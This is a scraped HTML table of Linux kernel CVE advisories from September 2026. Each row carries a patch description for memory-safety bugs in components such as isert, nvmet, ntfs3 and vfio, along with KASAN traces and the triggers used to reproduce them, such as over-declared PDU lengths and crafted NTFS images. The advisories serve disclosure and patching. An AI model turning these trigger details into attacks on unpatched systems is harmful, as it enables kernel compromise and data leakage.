1236.680454] cm_queue_work_unlock+0xb1/0x230 [ 1236.681673] cm_work_handler+0x969f/0xdca0 [ 1236.682704] process_scheduled_works+0xc22/0x1600 [ 1236.683447] worker_thread+0x975/0xee0 [ 1236.685901] kthread+0x3a6/0x490 [ 1236.688164] ret_from_fork+0x55a/0xa20 [ 1236.689522] ret_from_fork_asm+0x1a/0x30 [ 1236.690073] [ 1236.690378] Freed by task 5137: [ 1236.692242] kasan_save_track+0x3e/0x80 [ 1236.694272] kasan_save_free_info+0x40/0x50 [ 1236.695514] __kasan_slab_free+0x3a/0x60 [ 1236.696773] kfree+0x14e/0x4e0 [ 1236.697216] ib_destroy_cq_user+0x18d/0x250 [ 1236.699817] smbdirect_connection_destroy_qp+0xf2/0x280 [ 1236.702115] smbdirect_socket_destroy_sync+0x1607/0x2720 [ 1236.704062] smbdirect_socket_release+0x140/0x280 [ 1236.705286] smb_direct_free_transpor ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90173&quot; target=&quot;_blank&quot;&gt;CVE-2026-90173&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvmet: fix heap out-of-bounds read in nvmet_auth_negotiate() nvmet_execute_auth_send() allocates the DH-HMAC-CHAP message buffer with the host-supplied transfer length (tl) and hands it to nvmet_auth_negotiate() without passing tl along. nvmet_auth_negotiate() then reads the negotiate header and, for each of the halen hash identifiers and dhlen DH group identifiers, indexes into the fixed idlist[60] array (hashes at idlist[0..halen), groups at idlist[30..]). Neither the transfer length nor halen/dhlen is validated. A malicious or non-conformant host can report a tl smaller than the negotiate structure, or a halen/dhlen larger than the array (both are u8, up to 255), making the loops read past the end of the allocated buffer (heap out-of-bounds read). The sibling nvmet_auth_reply() already validates tl against the structure size; the negotiate path did not. Pass tl into nvmet_auth_negotiate(), reject a tl that does not cover the negotiate data plus one full protocol descriptor, and reject halen/dhlen larger than NVME_AUTH_DHCHAP_MAX_DH_IDS.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90230&quot; target=&quot;_blank&quot;&gt;CVE-2026-90230&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sunrpc: xprtsock: annotate shared socket callbacks with READ_ONCE/WRITE_ONCE xprtsock replaces and restores sk-&amp;gt;sk_data_ready and sk-&amp;gt;sk_write_space on live sockets with plain stores, and xs_udp_do_set_buffer_size() invokes sk-&amp;gt;sk_write_space via a plain load. These callback pointers are shared with generic socket and protocol paths that may read or invoke them concurrently, so xprtsock needs the same READ_ONCE()/WRITE_ONCE() callback visibility contract that the validated 4022 family applied elsewhere. When SUNRPC takes over an AF_LOCAL, UDP, or TCP socket and later restores the lower-socket callbacks during teardown, another CPU may still hold an earlier callback snapshot. The plain replace/restore pattern leaves the same visibility hole as the validated 4022 family, so a stale snapshot can still invoke xs_data_ready() or xs_udp_write_space() after the live callback fields have already been restored to the lower-socket handlers. Use WRITE_ONCE() for the shared sk_data_ready and sk_write_space stores in xs_local_finish_connecting(), xs_udp_finish_connecting(), xs_tcp_finish_connecting(), and xs_restore_old_callbacks(). Use READ_ONCE() for the direct sk_write_space invocation in xs_udp_do_set_buffer_size(). This matches the required callback visibility contract while leaving adjacent sk_state_change and sk_error_report handling unchanged.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90235&quot; target=&quot;_blank&quot;&gt;CVE-2026-90235&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: IB/isert: reject login PDUs declaring more data than was received isert_login_recv_done() records how many bytes the HCA actually placed in the login buffer, but nothing compares that against the length the login PDU&#039;s BHS declares. isert_rx_login_req() copies min(login_req_len, MAX_KEY_VALUE_PAIRS) bytes into login-&amp;gt;req_buf, and the login code then reads the declared length back out of that buffer - for the first PDU in iscsi_target_locate_portal(), payload_length = ntoh24(login_req-&amp;gt;dlength); tmpbuf = kmemdup_nul(login-&amp;gt;req_buf, payload_length, GFP_KERNEL); and for the ones after it in iscsi_decode_text_input(), reached from iscsi_target_do_login(). login-&amp;gt;req_buf is a fixed MAX_KEY_VALUE_PAIRS (8192) byte allocation, so an initiator that declares more than it sends reads off the end of it, before authentication and with the length under its control: BUG: KASAN: slab-out-of-bounds in kmemdup_nul+0x43/0x80 Read of size 8193 at addr ffff8881056a8000 by task iscsi_np/167 __asan_memcpy+0x23/0x60 kmemdup_nul+0x43/0x80 iscsi_target_locate_portal+0x48d/0x1180 iscsi_target_login_thread+0x19a9/0x3350 Allocated by task 167: __kmalloc_cache_noprof+0x158/0x370 iscsi_target_login_thread+0x971/0x3350 which belongs to the cache kmalloc-8k of size 8192 allocated 8192-byte region Falsifying the second login PDU instead reaches the other reader, on the same buffer: BUG: KASAN: slab-out-of-bounds in kmemdup_nul+0x43/0x80 Read of size 8193 at addr ffff888104d10000 by task kworker/1:1/50 Workqueue: isert_login_wq iscsi_target_do_login_rx __asan_memcpy+0x23/0x60 kmemdup_nul+0x43/0x80 iscsi_decode_text_input+0xc6/0x11c0 iscsi_target_do_login+0x261/0x1470 iscsi_target_do_login_rx+0x51d/0x7d0 iscsit over TCP is not exposed: iscsit_get_login_rx() validates the declared length with iscsi_target_check_login_request() and then reads exactly that many bytes off the socket, so the declared length governs how much arrives rather than how much is copied out of an already-filled buffer. isert does not call iscsi_target_check_login_request() at all. Reject a login PDU whose declared DataSegmentLength exceeds what was received, in both paths that reach isert_rx_login_req(): isert_get_login_rx() for the first login PDU and isert_login_recv_done() for the ones after it. dlength &amp;lt;= login_req_len is allowed because the received count can include up to three bytes of iSCSI padding. Once the check is in place the copy out can no longer exceed the copy in: the posted login SGE is ISER_RX_PAYLOAD_SIZE, so login_req_len cannot exceed MAX_KEY_VALUE_PAIRS and the min() in isert_rx_login_req() is login_req_len. Like the existing short-PDU check added by 29e7b925ae6d, the reject in isert_login_recv_done() returns without completing login_req_comp, so a malformed subsequent PDU leaves the login to be torn down by the login timer rather than failing immediately. The first-PDU path returns an error and fails straight away. Reproduced on 7.2.0-rc4 with soft-RoCE (rdma_rxe) under KASAN, using an initiator that sends the real key=value payload while declaring 8193 in the BHS, on the first login PDU and on the second in separate runs. The reported read size tracks the declared value exactly; 16384 and 61440 behave the same. Unpatched 3 of 3 runs report on each of the two paths, patched 0 of 3 on both, run alternately in a single session, and a normal login still completes on the patched build.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90413&quot; target=&quot;_blank&quot;&gt;CVE-2026-90413&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: IB/isert: reject PDUs declaring more data than was received isert_recv_done() hands each received PDU to the opcode handlers without ever looking at wc-&amp;gt;byte_len, the number of bytes the HCA actually placed in the receive descriptor. The handlers then copy that many bytes - the data-segment length the initiator declared in the BHS (ntoh24(hdr-&amp;gt;dlength), via the derived unsol_data_len / imm_data_len) - out of the fixed-size descriptor: isert_handle_iscsi_dataout(): sg_copy_from_buffer(sg_start, sg_nents, isert_get_data(rx_desc), unsol_data_len); isert_handle_scsi_cmd(): sg_copy_from_buffer(cmd-&amp;gt;se_cmd.t_data_sg, sg_nents, isert_get_data(rx_desc), imm_data_len); Because the declared length is never checked against wc-&amp;gt;byte_len, an initiator can declare a data segment larger than the bytes it actually sent (and larger than the descriptor) and cause an out-of-bounds read of the receive buffer. Nothing upstream of isert closes this door: - __iscsit_check_dataout_hdr() bounds the inbound payload against conn_ops-&amp;gt;MaxXmitDataSegmentLength (MXDSL) - a transmit parameter, used here for the inbound check. - iscsi_set_connection_parameters() sets ops-&amp;gt;MaxXmitDataSegmentLength = ops-&amp;gt;TargetRecvDataSegmentLength; and TARGETRECVDATASEGMENTLENGTH is absent from the min()-clamp list in iscsi_check_acceptor_state(), so the value the initiator declares is adopted verbatim (type range 512..16777215). The initiator effectively raises its own ceiling. - isert never clamps the negotiated value to its own fixed receive descriptor (ISER_RX_SIZE, 9216 bytes), so the target core&#039;s bound and the descriptor size are unrelated. The imm_data_len == data_len path is more than an over-read: it aliases the receive descriptor via sg_set_buf() and passes it to the backend as the data source for the SCSI WRITE, so an over-declared length causes heap contents past the descriptor to be written through the backend to the backing store. The backend is the victim of the oversized scatterlist isert hands it, not the cause; no read-back of the written bytes was demonstrated. Trigger: after login completes (full feature phase), an initiator that has declared a large TargetRecvDataSegmentLength and a FirstBurstLength that permits unsolicited/immediate data sends a PDU whose declared data-segment length exceeds what was received. With KASAN: BUG: KASAN: slab-out-of-bounds in sg_copy_buffer+0x150/0x1c0 Read of size 4096 at addr ffff888109720800 by task kworker/1:0H/25 Workqueue: ib-comp-wq ib_cq_poll_work Call Trace: sg_copy_buffer+0x150/0x1c0 isert_recv_done+0xba6/0x2390 __ib_process_cq+0xe1/0x390 ib_cq_poll_work+0x46/0x150 isert_recv_done+0xba6 resolves to isert_handle_iscsi_dataout() (ib_isert.c:1160), inlined through isert_rx_opcode(). Validate wc-&amp;gt;byte_len against the framing in isert_recv_done() before the PDU reaches any handler, and reinstate the connection if it is short. Because the test compares without subtracting the header length, it also rejects PDUs shorter than the iSER and iSCSI headers, which would otherwise be parsed out of stale descriptor contents. The login handler rejects PDUs shorter than ISER_HEADERS_LEN (commit 29e7b925ae6d (&quot;IB/isert: Reject login PDUs shorter than ISER_HEADERS_LEN&quot;)) but does not bound the declared length either; that is fixed in the next patch. The data handlers had no length check at all. isert reads the data segment from a fixed offset: isert_get_data() returns the iSER header plus ISER_HEADERS_LEN and makes no adjustment for an AHS. The bytes the handlers touch are therefore exactly [ISER_HEADERS_LEN, ISER_HEADERS_LEN + dlength), and comparing that sum against wc-&amp;gt;byte_len bounds precisely the region that is read. An AHS term would only make the test stricter without bounding anything furth ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90414&quot; target=&quot;_blank&quot;&gt;CVE-2026-90414&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xfrm: Fix skb double-free in xfrm_dev_direct_output() A return value other than 1 from local_out() means that the skb has been consumed or its ownership was transferred. xfrm_dev_direct_output() nevertheless frees the skb on this path, causing a double-free when netfilter drops the packet and invalidating any other owner. Return the local_out() result directly, matching the ownership handling in xfrm_output_resume().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92489&quot; target=&quot;_blank&quot;&gt;CVE-2026-92489&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: SCO: hold sk properly in sco_conn_ready sk deref in sco_conn_ready must be done either under conn-&amp;gt;lock, or holding a refcount, to avoid concurrent close. conn-&amp;gt;sk and parent sk is currently accessed without either, and without checking parent-&amp;gt;sk_state: [Task 1] [Task 2] sco_sock_release sco_conn_ready sk = conn-&amp;gt;sk lock_sock(sk) conn-&amp;gt;sk = NULL lock_sock(sk) release_sock(sk) sco_sock_kill(sk) UAF on sk deref and similarly for access to sco_get_sock_listen() return value. Fix possible UAF by holding sk refcount in sco_conn_ready() and making sco_get_sock_listen() increase refcount. Also recheck after lock_sock that the socket is still valid. Adjust conn-&amp;gt;sk locking so it&#039;s protected also by lock_sock() of the associated socket if any.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89774&quot; target=&quot;_blank&quot;&gt;CVE-2026-89774&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vfio/pci: clear vdev-&amp;gt;msi_perm after freeing it on init failure vfio_msi_cap_len() lazily allocates the per-device MSI permission table: vdev-&amp;gt;msi_perm = kmalloc_obj(struct perm_bits, GFP_KERNEL_ACCOUNT); if (!vdev-&amp;gt;msi_perm) return -ENOMEM; ret = init_pci_cap_msi_perm(vdev-&amp;gt;msi_perm, len, flags); if (ret) { kfree(vdev-&amp;gt;msi_perm); return ret; /* vdev-&amp;gt;msi_perm left dangling */ } When init_pci_cap_msi_perm() -&amp;gt; alloc_perm_bits() fails with -ENOMEM, the error path frees vdev-&amp;gt;msi_perm but leaves the freed pointer stored in it. vdev-&amp;gt;msi_perm is not re-zeroed later because struct vfio_pci_core_device is per-device and persists across open/close cycles, and the vfio_config_init() error path returns without calling vfio_config_free(). So the dangling pointer outlives the failed open. That leads to two use-after-frees on the same device: 1. Reuse. The next vfio_config_init() sees the stale pointer at &quot;if (vdev-&amp;gt;msi_perm) return len;&quot; and reuses the freed object. MSI config accesses in vfio_pci_config_rw_single() then dereference and call the freed perm-&amp;gt;readfn / perm-&amp;gt;writefn function pointers. 2. Double free. A later vfio_config_free() runs free_perm_bits() and kfree() on the already-freed object. Fix it by NULLing vdev-&amp;gt;msi_perm after the kfree(), matching the NULL-after-free discipline already used in free_perm_bits() and vfio_config_free(). BUG: KASAN: slab-use-after-free in vfio_pci_config_rw_single (drivers/vfio/pci/vfio_pci_config.c:1961) Read of size 8 at addr ffff88800fcc88d0 by task exploit/143 Call Trace: ... kasan_report (mm/kasan/report.c:595) vfio_pci_config_rw_single (drivers/vfio/pci/vfio_pci_config.c:1961) vfio_pci_config_rw (drivers/vfio/pci/vfio_pci_config.c:1986) vfio_pci_rw (drivers/vfio/pci/vfio_pci_core.c:1599) vfs_read (fs/read_write.c:572) __x64_sys_pread64 (fs/read_write.c:764) do_syscall_64 (arch/x86/entry/syscall_64.c:94) ... Followed on device close by a double free of the same object: Oops: general protection fault, probably for non-canonical address 0x1f63e0e8000008: 0000 [#1] SMP KASAN NOPTI RIP: 0010:kfree (mm/slub.c:6711) Call Trace: vfio_config_free (drivers/vfio/pci/vfio_pci_config.c:1861) vfio_pci_core_disable (drivers/vfio/pci/vfio_pci_core.c:685) vfio_pci_core_close_device (drivers/vfio/pci/vfio_pci_core.c:777) vfio_df_close (drivers/vfio/vfio_main.c:602) vfio_device_fops_release (drivers/vfio/vfio_main.c:648) __fput (fs/file_table.c:512) __x64_sys_close (fs/open.c:1496) do_syscall_64 (arch/x86/entry/syscall_64.c:94) ... Kernel panic - not syncing: Fatal exception&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89777&quot; target=&quot;_blank&quot;&gt;CVE-2026-89777&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: fix out-of-bounds read in read_log_rec_buf() read_log_rec_buf() copies a log record into a caller buffer starting at u32 off = lsn_to_page_off(log, lsn) + log-&amp;gt;record_header_len; log-&amp;gt;record_header_len (and log-&amp;gt;data_off, used for the following pages) comes verbatim from the on-disk restart area and is only checked for 8-byte alignment in is_rst_area_valid(), so off can exceed log-&amp;gt;page_size. &quot;tail = log-&amp;gt;page_size - off&quot; then underflows and memcpy() reads past the page_size-sized buffer returned by read_log_page(), spilling adjacent slab memory into the replay buffer. This is reachable by mounting a crafted NTFS image: BUG: KASAN: slab-out-of-bounds in read_log_rec_buf+0x216/0x580 Read of size 64 at addr ffff88800a877ff8 by task exploit/127 read_log_rec_buf fs/ntfs3/fslog.c:2299 log_replay fs/ntfs3/fslog.c:4216 ntfs_loadlog_and_replay fs/ntfs3/fsntfs.c:324 ntfs_fill_super fs/ntfs3/super.c:1392 get_tree_bdev_flags fs/super.c:1694 __x64_sys_mount fs/namespace.c:4360 The buggy address is located 4088 bytes to the right of the 4096-byte region [ffff88800a876000, ffff88800a877000) Reject an in-page offset outside the current page before the copy. [almaz.alexandrovich@paragon-software.com: replaced the &amp;gt;= sign with &amp;gt;]&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89781&quot; target=&quot;_blank&quot;&gt;CVE-2026-89781&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: reject restart table growth beyond U16_MAX entries During $LogFile replay, log_replay() indexes the transaction table by the transact_id taken from the log record header. check_log_rec() only verifies that transact_id is non-zero and properly aligned, not its magnitude, so a crafted image can request an arbitrarily large index. alloc_rsttbl_from_idx() grows the table to cover that index via extend_rsttbl(), which passes the new entry count to init_rsttbl(): rt = init_rsttbl(esize, used + add); used + add is computed as u32 but init_rsttbl() takes a u16, and the count is stored in struct RESTART_TABLE as a __le16. When used + add exceeds U16_MAX it is truncated, init_rsttbl() allocates a table far smaller than the index requires, and alloc_rsttbl_from_idx() then dereferences and writes at the original, untruncated offset -- an out-of-bounds access past the allocation, reachable by mounting a crafted NTFS image. BUG: KASAN: use-after-free in alloc_rsttbl_from_idx (fs/ntfs3/fslog.c:950) Read of size 4 at addr ffff8880327ffff8 by task exploit alloc_rsttbl_from_idx (fs/ntfs3/fslog.c:950) log_replay (fs/ntfs3/fslog.c:4562) ntfs_loadlog_and_replay (fs/ntfs3/fsntfs.c:324) ntfs_fill_super (fs/ntfs3/super.c:1393) get_tree_bdev_flags vfs_get_tree path_mount __x64_sys_mount A restart table is limited to U16_MAX entries by its __le16 count, so a larger growth request is invalid input. Reject it in extend_rsttbl(); all callers already handle a NULL return.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89782&quot; target=&quot;_blank&quot;&gt;CVE-2026-89782&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: PCI: Allow per function PCI slots to fix slot reset on s390 On s390 systems, which use a machine level hypervisor, PCI devices are always accessed through a form of PCI pass-through which fundamentally operates on a per PCI function granularity. This is also reflected in the s390 PCI hotplug driver which creates hotplug slots for individual PCI functions. Its reset_slot() function, which is a wrapper for zpci_hot_reset_device(), thus also resets individual functions. Currently, the pci_create_slot() assigns the same pci_slot object to multifunction devices. This approach worked fine on s390 systems that only exposed virtual functions as individual PCI domains to the operating system. Since commit 44510d6fa0c0 (&quot;s390/pci: Handling multifunctions&quot;) s390 supports exposing the topology of multifunction PCI devices by grouping them in a shared PCI domain. This creates a problem when resetting a function through the hotplug driver&#039;s slot_reset() interface. When attempting to reset a function through the hotplug driver, the shared slot assignment causes the wrong function to be reset instead of the intended one. It also leaks memory as we do create a pci_slot object for the function, but don&#039;t correctly free it in pci_slot_release(). Add a flag for struct pci_slot to allow per function PCI slots for functions managed through a hypervisor, which exposes individual PCI functions while retaining the topology. Since we can use all 8 bits for slot &#039;number&#039; (for ARI devices), change slot &#039;number&#039; u16 to account for special values PCI_SLOT_PLACEHOLDER and PCI_SLOT_ALL_DEVICES.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89795&quot; target=&quot;_blank&quot;&gt;CVE-2026-89795&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/nouveau/dmem: fix mismatched DMA unmap size for large folios Device-private THP migration maps migration buffers with page_size() and records that length in dma_info-&amp;gt;size. For a compound folio page_size() is PAGE_SIZE &amp;lt;&amp;lt; order, but two teardown sites still pass a literal PAGE_SIZE to dma_unmap_page(): - nouveau_dmem_migrate_to_ram() on the success path, and - nouveau_dmem_migrate_copy_one() on the copy-error path. For an order &amp;gt; 0 folio this unmaps less than was mapped, leaking the remainder of the IOMMU/IOVA mapping. The other unmap sites, in nouveau_dmem_migrate_chunk() and nouveau_dmem_evict_chunk(), already use the saved size; use it here too.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89804&quot; target=&quot;_blank&quot;&gt;CVE-2026-89804&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/sysfb: ofdrm: Fix integer overflow in fb_size calculation The framebuffer size calculation `fb_size = linebytes * height` can overflow when both values are large (e.g., 46341 * 46341 &amp;gt; INT_MAX). Since linebytes and height are both int types, the multiplication is performed as int * int, which results in undefined behavior on overflow. Use check_mul_overflow() to detect and prevent this overflow, consistent with the approach used in simpledrm.c and corebootdrm.c.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89806&quot; target=&quot;_blank&quot;&gt;CVE-2026-89806&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Add TLB flush after MES queue eviction/suspension MES (Micro Engine Scheduler) does not perform heavy-weight TLB invalidation after unmapping queues, unlike HWS which does this automatically. This causes a race condition where in-flight DMA descriptors can access memory that has been unmapped, leading to page faults and GPU queue hangs during SVM page migration. The issue manifests as KFDSVMRangeTest.MultiThreadMigrationTest failures on gfx1151 (Strix Point) with XNACK mode 1 enabled - the GPU compute queue hangs with packets submitted but never consumed. Add kfd_flush_tlb() calls after MES queue removal in two locations: - evict_process_queues_cpsch(): after all queues removed during eviction - suspend_queues(): after debug/criu queue suspension (with mem_fence barrier) This ensures all in-flight memory accesses from unmapped queues are flushed before memory is freed or migrated. (cherry picked from commit f5c4f88e0f9c45a8fb9dfac0c1df726c95e41b77)&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89811&quot; target=&quot;_blank&quot;&gt;CVE-2026-89811&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Hold vport_slock for host map update in report ID acquisition qla24xx_report_id_acquisition() format-1 handling drops vport_slock after taking the vport reference and then calls qla_update_host_map() without the lock. That reaches qla_update_vp_map(), which mutates the ha-&amp;gt;host_map btree via btree_insert32()/btree_update32()/btree_remove32() and is documented to require vport_slock to be held by the caller. Running it unlocked can race concurrent host_map updates and corrupt the btree. The format-2 path in the same function already wraps its host_map update (SET_AL_PA) in vport_slock; the format-1 path is the lone outlier. Hold vport_slock across the format-1 qla_update_host_map() call to honor the documented locking contract. The vref_count taken in the loop keeps the vport valid, so this only adds the missing host_map serialization.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89844&quot; target=&quot;_blank&quot;&gt;CVE-2026-89844&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Quiesce response IRQ before freeing request queue qla2xxx_delete_qpair() deletes the request queue before the response queue. qla25xx_delete_req_que() frees the request queue memory (kfree(req) in qla25xx_free_req_que()), but the response-queue MSI-X is only released later, in qla25xx_free_rsp_que(). In that window the response interrupt can still fire, qla2xxx_msix_rsp_q() queues qpair-&amp;gt;q_work, and qla_do_work() -&amp;gt; qla24xx_process_response_queue() dereferences the now-freed rsp-&amp;gt;req (LOGINOUT/CT/ELS entries and the status path), a use-after-free. The cancel_work_sync() added for the qpair teardown lives in the response free path, which runs after the request queue is already freed, so it does not protect rsp-&amp;gt;req. Release the response-queue interrupt and flush qpair-&amp;gt;q_work before deleting the request queue, so no late completion can reach the freed request queue. Clearing have_irq makes the subsequent qla25xx_free_rsp_que() skip its free_irq(), and the firmware queue-delete order (request then response) is preserved; the request-delete mailbox completes on the default vector and is unaffected by dropping the qpair response interrupt early.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89848&quot; target=&quot;_blank&quot;&gt;CVE-2026-89848&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Reject non-SCSI SRB on status IOCB fast path qla2x00_status_entry() filters out non-TYPE_SRB entries and the SRB_NVME_CMD, SRB_BIDI_CMD and SRB_TM_CMD types, then falls through to a SCSI fast path that assumes the command is an SRB_SCSI_CMD. The first thing on that path, qla_chk_edif_rx_sa_delete_pending(), and the subsequent handling both evaluate GET_CMD_SP(sp), i.e. sp-&amp;gt;u.scmd.cmd. The srb u union overlays the SCSI command pointer with other command layouts (bsg_job, iocb_cmd). If firmware delivers an unexpected STATUS_TYPE IOCB for a non-SCSI handle, sp-&amp;gt;u.scmd.cmd can read as a non-NULL garbage pointer, bypassing the NULL checks in qla_chk_edif_rx_sa_delete_pending() and at the cp == NULL test, and leading to a wild pointer dereference. Reject any SRB whose type is not SRB_SCSI_CMD before entering the fast path. The outstanding_cmds slot is left untouched so a genuinely non-SCSI command still completes through its proper handler.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89849&quot; target=&quot;_blank&quot;&gt;CVE-2026-89849&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Clamp MSI-X derived queue counts to avoid truncation ha-&amp;gt;msix_count is u16, but ha-&amp;gt;max_req_queues, ha-&amp;gt;max_rsp_queues and ha-&amp;gt;max_qpairs are u8. Deriving the queue count as &quot;ha-&amp;gt;max_req_queues = ha-&amp;gt;msix_count - 1&quot; therefore truncates: a board (or a misconfigured/malicious hot-plugged device) advertising 257 MSI-X vectors yields msix_count - 1 == 256, which truncates to 0. An MSI-X count of 1 zeroes it as well, and in target mode the subsequent &quot;ha-&amp;gt;max_req_queues--&quot; then underflows 0 to 255. When the count is 0, qla2x00_alloc_queues() calls kzalloc_objs(struct req_que *, 0), which returns ZERO_SIZE_PTR. That is not NULL, so the allocation check passes and the following &quot;ha-&amp;gt;req_q_map[0] = req&quot; dereferences ZERO_SIZE_PTR, corrupting memory or crashing the kernel. Add qla_calc_queue_count() to clamp the derived value into [1, QLA_MAX_QUEUES - 1] so it always fits in u8 and is never zero, and use it at all three derivation sites (qla25xx_iospace_config(), qla83xx_iospace_config() and 